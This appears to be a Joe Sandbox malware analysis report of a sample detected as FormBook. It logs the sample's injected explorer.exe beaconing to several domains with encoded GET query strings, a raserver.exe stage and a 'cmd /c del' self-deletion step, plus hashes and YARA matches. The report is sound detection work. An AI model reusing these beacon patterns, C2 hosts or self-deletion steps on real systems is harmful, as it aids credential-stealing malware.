74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 
0a 
Data Ascii: <!DOCTYPE html><html lang="en"><head>    <meta http-equiv="content-type" content="text/html;charset=utf-
8">    <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">    <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.5 49736 34.102.136.180 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jul 22, 2021 
18:05:40.453010082 CEST

9838 OUT GET /dy8g/?i8PHMrf=n9TsU/XZirCaXaeSUYbcU/ldcwtyxBDUqcAV1OuBRveQ+2sj4hTKAs/tsBNJEPRO40QM&5j
LtOl=htxh HTTP/1.1
Host: www.wideawakemomma.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 
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Jul 22, 2021 
18:05:40.590605021 CEST

9839 IN HTTP/1.1 403 Forbidden
Server: openresty
Date: Thu, 22 Jul 2021 16:05:40 GMT
Content-Type: text/html
Content-Length: 275
ETag: "60ef679d-113"
Via: 1.1 google
Connection: close
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 
20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 
74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 
0a 
Data Ascii: <!DOCTYPE html><html lang="en"><head>    <meta http-equiv="content-type" content="text/html;charset=utf-
8">    <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">    <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.5 49739 172.104.157.41 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jul 22, 2021 
18:05:45.704566002 CEST

9855 OUT GET /dy8g/?i8PHMrf=vEc9l3KIwUbL2yE9akOYH6tpFpdH8sidHZA37HjQYo0aYTivi/dQORBe2IJ6crCUqb4r&5jLtOl=htxh 
HTTP/1.1
Host: www.vermogenswerte.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Jul 22, 2021 
18:05:45.750137091 CEST

9857 IN HTTP/1.1 404 Not Found
Connection: close
content-type: text/html
transfer-encoding: chunked
date: Thu, 22 Jul 2021 16:05:45 GMT
server: LiteSpeed
vary: User-Agent
Data Raw: 32 37 38 61 0d 0a 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 
3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 
70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 
0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 
6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 2
2 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 
74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 
65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 
63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 
65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 
22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 
66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 
69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 
20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 
20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 
20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 
3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 
20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 
70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 2
0 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 
2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 
75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 
20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 
20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 
3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 
64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 
20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 
20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 
3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d 69 6e 66 6f 
2c 0a 20 20 20 20 20 20 20 20 2e 72 65 61 73 6f 6e 2d 74 65 78 74 20 7b 0a 20 20 20 20 20 20 
Data Ascii: 278a<!DOCTYPE html><html>    <head>    <meta http-equiv="Content-type" content="text/html; charset=utf-
8">    <meta http-equiv="Cache-control" content="no-cache">    <meta http-equiv="Pragma" content="no-cache">    <meta 
http-equiv="Expires" content="0">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>404 
Not Found</title>    <style type="text/css">        body {            font-family: Arial, Helvetica, sans-serif;            font-size: 
14px;            line-height: 1.428571429;            background-color: #ffffff;            color: #2F3230;            padding: 0;            
margin: 0;        }        section, footer {            display: block;            padding: 0;            margin: 0;        }        .container {            
margin-left: auto;            margin-right: auto;            padding: 0 10px;        }        .response-info {            color: #CCCCCC;    
    }        .status-code {            font-size: 500%;        }        .status-reason {            font-size: 250%;            display: block;       
 }        .contact-info,        .reason-text {      

Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.2.5 49740 75.2.81.221 80 C:\Windows\explorer.exe
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Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Timestamp
kBytes
transferred Direction Data

Jul 22, 2021 
18:05:50.873647928 CEST

9867 OUT GET /dy8g/?i8PHMrf=ECrCAtcV2n6MmfvkEdEbFHcY5Y6SYRzoX56/iPQe4p5qRx/lRHZ+fK1TxUEBZfQE2R2Q&5j
LtOl=htxh HTTP/1.1
Host: www.thenorthgoldline.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Jul 22, 2021 
18:05:51.027597904 CEST

9869 IN HTTP/1.1 403 Forbidden
Date: Thu, 22 Jul 2021 16:05:51 GMT
Content-Type: text/html
Content-Length: 146
Connection: close
Server: nginx
Vary: Accept-Encoding
Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 
74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 
6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 
78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 
Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><c
enter>nginx</center></body></html>

Session ID Source IP Source Port Destination IP Destination Port Process

5 192.168.2.5 49743 34.102.136.180 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jul 22, 2021 
18:06:08.622399092 CEST

9871 OUT GET /dy8g/?i8PHMrf=DjnY/S7/G1yk/GGdjnbMG0pwlAlipgBY8a8MDSEvYTAaE8/8s3MkSQswoGD3PCL74z9p&5j
LtOl=htxh HTTP/1.1
Host: www.extinctionbrews.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Jul 22, 2021 
18:06:08.765433073 CEST

9872 IN HTTP/1.1 403 Forbidden
Server: openresty
Date: Thu, 22 Jul 2021 16:06:08 GMT
Content-Type: text/html
Content-Length: 275
ETag: "60ef6789-113"
Via: 1.1 google
Connection: close
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 
20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 
74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 
0a 
Data Ascii: <!DOCTYPE html><html lang="en"><head>    <meta http-equiv="content-type" content="text/html;charset=utf-
8">    <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">    <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>
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File ActivitiesFile Activities

Start time: 18:04:32

Start date: 22/07/2021

Path: C:\Users\user\Desktop\pMbPS8nCm1.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\pMbPS8nCm1.exe' 

Imagebase: 0x400000

File size: 177067 bytes

MD5 hash: DE87F1794377537DDA721AFD9137E491

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000001.00000002.248608890.00000000006F0000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000001.00000002.248608890.00000000006F0000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000001.00000002.248608890.00000000006F0000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: low

Show Windows behavior

Start time: 18:04:33

Start date: 22/07/2021

Path: C:\Users\user\Desktop\pMbPS8nCm1.exe

Wow64 process (32bit): true

Commandline: 'C:\Users\user\Desktop\pMbPS8nCm1.exe' 

Imagebase: 0x400000

File size: 177067 bytes

MD5 hash: DE87F1794377537DDA721AFD9137E491

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: pMbPS8nCm1.exe PID: 3492 Parent PID: 5672Analysis Process: pMbPS8nCm1.exe PID: 3492 Parent PID: 5672

General

File ReadFile Read

Analysis Process: pMbPS8nCm1.exe PID: 5800 Parent PID: 3492Analysis Process: pMbPS8nCm1.exe PID: 5800 Parent PID: 3492

General
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File ActivitiesFile Activities

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000002.00000002.306388335.00000000009E0000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000002.00000002.306388335.00000000009E0000.00000040.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000002.00000002.306388335.00000000009E0000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000002.00000002.305709350.00000000005B0000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000002.00000002.305709350.00000000005B0000.00000040.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000002.00000002.305709350.00000000005B0000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000002.00000001.246218201.0000000000400000.00000040.00020000.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000002.00000001.246218201.0000000000400000.00000040.00020000.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000002.00000001.246218201.0000000000400000.00000040.00020000.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000002.00000002.305134983.0000000000400000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 00000002.00000002.305134983.0000000000400000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000002.00000002.305134983.0000000000400000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: low

Show Windows behavior

File ActivitiesFile Activities

Start time: 18:04:38

Start date: 22/07/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline: C:\Windows\Explorer.EXE

Imagebase: 0x7ff693d90000

File size: 3933184 bytes

MD5 hash: AD5296B280E8F522A8A897C96BAB0E1D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Start time: 18:05:00

Start date: 22/07/2021

Path: C:\Windows\SysWOW64\raserver.exe

File ReadFile Read

Analysis Process: explorer.exe PID: 3472 Parent PID: 5800Analysis Process: explorer.exe PID: 3472 Parent PID: 5800

General

Analysis Process: raserver.exe PID: 4564 Parent PID: 3472Analysis Process: raserver.exe PID: 4564 Parent PID: 3472

General
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File ActivitiesFile Activities

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\raserver.exe

Imagebase: 0xeb0000

File size: 108544 bytes

MD5 hash: 2AADF65E395BFBD0D9B71D7279C8B5EC

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000000D.00000002.508769679.0000000002FD0000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000000D.00000002.508769679.0000000002FD0000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000000D.00000002.508769679.0000000002FD0000.00000040.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000000D.00000002.509446252.00000000032A0000.00000004.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000000D.00000002.509446252.00000000032A0000.00000004.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000000D.00000002.509446252.00000000032A0000.00000004.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
0000000D.00000002.506978172.00000000009A0000.00000040.00000001.sdmp, Author: 
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
0000000D.00000002.506978172.00000000009A0000.00000040.00000001.sdmp, Author: 
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
0000000D.00000002.506978172.00000000009A0000.00000040.00000001.sdmp, Author: 
JPCERT/CC Incident Response Group

Reputation: moderate

Show Windows behavior

File ActivitiesFile Activities

Start time: 18:05:05

Start date: 22/07/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: /c del 'C:\Users\user\Desktop\pMbPS8nCm1.exe'

Imagebase: 0x150000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

File CreatedFile Created

File ReadFile Read

Analysis Process: cmd.exe PID: 4396 Parent PID: 4564Analysis Process: cmd.exe PID: 4396 Parent PID: 4564

General

Analysis Process: conhost.exe PID: 2196 Parent PID: 4396Analysis Process: conhost.exe PID: 2196 Parent PID: 4396
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Joe Sandbox Cloud Basic 33.0.0 White Diamond

Disassembly

Code Analysis

Copyright Joe Security LLC

Start time: 18:05:05

Start date: 22/07/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Imagebase: 0x7ff7ecfc0000

File size: 625664 bytes

MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

General
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